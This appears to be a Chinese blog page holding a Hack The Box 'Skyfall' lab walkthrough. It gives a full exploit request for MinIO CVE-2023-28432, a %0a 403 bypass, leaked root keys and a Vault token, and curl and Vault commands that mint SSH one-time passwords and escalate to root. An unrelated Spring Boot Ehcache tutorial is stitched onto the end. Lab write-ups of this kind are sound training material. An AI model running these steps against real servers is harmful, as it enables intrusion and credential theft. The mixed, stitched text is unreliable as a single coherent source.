Hack The Box-Skyfall

信息收集&端口利用

使用nmap对端口进行扫描

nmap 10.10.11.254

在这里插入图片描述

访问80端口

在这里插入图片描述

没有可以利用的漏洞点,尝试目录扫描和子域名收集

目录扫描没有发现有价值的利用点

在这里插入图片描述

但是子域名扫描找到一个demo环境,将其添加进hosts文件后访问

在这里插入图片描述

界面中有提示访客用户名和密码,先尝试登录

在这里插入图片描述

在这里插入图片描述

该系统是一个minIO的对象存储系统,点击MinIO Metrics,虽然提示403禁止,但是经过403bypass后发现可以在末尾加上%0a的方式绕过

在这里插入图片描述

在最下方有一段新的域名

在这里插入图片描述

加入到hosts文件中,访问之

在这里插入图片描述

注意到MinIO有一个信息泄露漏洞CVE-2023-28432,利用漏洞能够查看到敏感信息,利用方式为

POST /minio/bootstrap/v1/verify HTTP/1.1

Host: ip:9000

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

效果如下图所示

在这里插入图片描述

获取到的敏感信息为

"MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww"
"MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0"
"MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"

接下去使用MinIO Admin Client对MinIO容器进行管理

安装MinIO Admin Client

curl https://dl.min.io/client/mc/release/linux-amd64/mc \
	--create-dirs \
	-o $HOME/minio-binaries/mc
chmod +x $HOME/minio-binaries/mc
export PATH=$PATH:$HOME/minio-binaries/

安装完成后,利用之前拿到的用户名和密码将容器桶加入到自定义容器中

mc alias set myminio http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0

myminio的名字为自定义,现在已经将他们容器桶中的数据导入进了我们的容器桶,查看有哪些内容

在这里插入图片描述

将容器桶内的文件都打包到本地进行查看

mc cp --recursive myminio/askyy/home_backup.tar.gz ./home_backup.tar.gz

在这里插入图片描述

查看压缩包中的文件

在这里插入图片描述

发现该文件为最新版本,缺少很多信息,因此选择下载旧的版本

mc cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f myminio/askyy/home_backup.tar.gz ./down.tar.gz
tar -xzvf down.tar.gz

在这里插入图片描述

在这里插入图片描述

翻阅文件后查看到有ssh私钥文件

在这里插入图片描述

但是无法登录到主机

继续翻阅文件后,在容器桶内的第二个压缩包中的.bashrc文件发现了另外一个域名地址

在这里插入图片描述

VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

由泄露的信息为VAULT_API_ADDR和VAULT_TOKEN猜测,此次登录ssh的方式为Vault+OTP(One-Time Password)

Vault登录ssh

Vault提供了一种创建一次性登陆密码的方式,它的工作原理如图:

在这里插入图片描述

首先我们需要在被登陆的服务器上配置vault-ssh-helper程序,它可以取代Linux默认的登陆验证程序,在用户传递了登陆用户名密码后,转而向Vault服务器请求验证用户名密码的正确性。用户首先登陆Vault,通过Vault创建一个属于目标服务器的otp,随后远程连接目标服务器,给出这组otp,在vault-ssh-helper验证通过后成功登陆,同时Vault服务器会在成功验证后删除这个otp,确保密码的确是一次性的。

下载工具

https://developer.hashicorp.com/vault/install?product_intent=vault#Linux

将配置文件导入进vault

export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

验证token值是否有效

在这里插入图片描述

登录成功,下一步创建一个key_type参数设置为otp的角色;角色的CIDR列表所代表的所有计算机都应正确安装和配置助手

curl \
--header "X-Vault-Token: $VAULT_TOKEN" \
--request POST \
--data '{"ip":"10.10.11.254", "username":"askyy"}' \
$VAULT_ADDR/v1/ssh/creds/dev_otp_key_role

在这里插入图片描述

如图所示代表添加成功,使用该用户登录到ssh

./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254

在这里插入图片描述

出现这个界面表示需要通过OTP来登录,OTP的值已经由session给出,只需要将其复制到密码框即可

在这里插入图片描述

权限提升

查看当前用户能够执行的权限

在这里插入图片描述

-------------------------------------------------------更新分界线---------------------------------------------------------------

以root身份运行该程序

在这里插入图片描述

输出中说明了找到了Master token,但是需要启动debug模式来查看详情

在当前目录创建一个debug.log文件,并将其权限都修改为askyy

在这里插入图片描述

将调试模式的输出输出到我们创建的debug.log文件,并查看

在这里插入图片描述

能够获取到Master token值,再联想到本题获取user用户的权限,提权方式为修改vault环境变量token值,再添加一个root用户使用OTP登录

修改当前vault环境的token值

在这里插入图片描述

再添加一个admin用户(注意之前添加的是dev用户)

curl \
	--header "X-Vault-Token: $VAULT_TOKEN" \
	--request POST \
	--data '{"ip":"10.10.11.254", "username":"root"}' \ 
	$VAULT_ADDR/v1/ssh/creds/admin_otp_key_role

使用vault的admin用户模式去登录

在这里插入图片描述

提权成功

  • 19
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
在Spring Boot中整合Ehcache缓存,需要进行以下几个步骤: 1. 添加Ehcache依赖 在pom.xml文件中添加Ehcache依赖: ``` <dependency> <groupId>net.sf.ehcache</groupId> <artifactId>ehcache</artifactId> <version>${ehcache.version}</version> </dependency> ``` 2. 配置Ehcache缓存 在application.yml(或application.properties)文件中配置Ehcache缓存: ``` spring: cache: type: ehcache ehcache: config: classpath:ehcache.xml ``` 其中,`spring.cache.type`属性指定使用的缓存类型为Ehcache,`ehcache.config`属性指定Ehcache配置文件的路径(在classpath下)。 3. 编写Ehcache配置文件 在classpath下创建`ehcache.xml`文件,配置Ehcache缓存的相关信息: ``` <ehcache> <diskStore path="java.io.tmpdir"/> <defaultCache maxEntriesLocalHeap="10000" eternal="false" timeToIdleSeconds="120" timeToLiveSeconds="120" diskSpoolBufferSizeMB="30" maxEntriesLocalDisk="10000000" diskExpiryThreadIntervalSeconds="120" memoryStoreEvictionPolicy="LRU" transactionalMode="off"> </defaultCache> <cache name="userCache" maxEntriesLocalHeap="1000" maxEntriesLocalDisk="10000" eternal="false" diskSpoolBufferSizeMB="20" timeToIdleSeconds="300" timeToLiveSeconds="600" memoryStoreEvictionPolicy="LFU" transactionalMode="off"> </cache> </ehcache> ``` 其中,`defaultCache`为默认缓存配置,`cache`为自定义缓存配置。 4. 在代码中使用缓存 在需要使用缓存的方法上添加`@Cacheable`注解,指定缓存名称和缓存key: ``` @Service public class UserServiceImpl implements UserService { @Autowired private UserDao userDao; @Override @Cacheable(value = "userCache", key = "#id") public User getUserById(Integer id) { return userDao.getUserById(id); } // ... } ``` 其中,`value`属性指定缓存名称,`key`属性为缓存key表达式,可以使用Spring表达式语言(SpEL)进行动态表达。 以上就是在Spring Boot中整合Ehcache缓存的步骤,通过使用Ehcache缓存可以有效地提高应用程序的性能和响应速度。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值